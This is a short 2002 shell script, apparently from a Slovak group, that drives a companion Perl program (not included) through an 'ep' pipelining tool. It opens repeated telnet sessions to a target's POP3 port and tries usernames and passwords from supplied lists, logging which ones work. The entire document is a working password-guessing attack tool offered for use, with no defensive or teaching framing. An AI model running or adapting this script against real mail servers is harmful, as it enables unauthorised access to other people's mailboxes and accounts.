#!/bin/sh
# (c) 2oo1-2oo2 Nepto <nepto@hot.ee>
# $Platon: ep-popscan.sh,v 1.4 2002/06/23 10:57:05 jombik9 Exp $
if [ $# -lt 4 ]; then
echo "Usage: $0 hostname userfile passfile resultfile" ;
exit 1;
fi
EP=`which ep 2> /dev/null`;
if [ -z "$EP" ]; then
echo "error: extended pipelining (ep) binary not found";
exit 1;
fi
# Uvedeny sysread() sluzi na odstranenie textu, ktory zapise popscan.pl
# po uzavreti spojenia vzdialenym pocitacom. Spravidla ide o zavretie
# spojenia po tom, co bolo zadane nespravne heslo.
$EP \
-i 2.e -o 2.i -e 2.i bash -c \
"while [ 1 -eq 1 ]; do \
telnet $1 110; \
perl -e 'print\"sysread() call\\n\";sysread STDIN, \$_, 100;'; \
done;" \
-- \
-e 1.i,0.o -i 1.o,1.e -o 0.o ./popscan.pl $2 $3 $4
Platon Group <platon@platon.sk> http://platon.sk/
|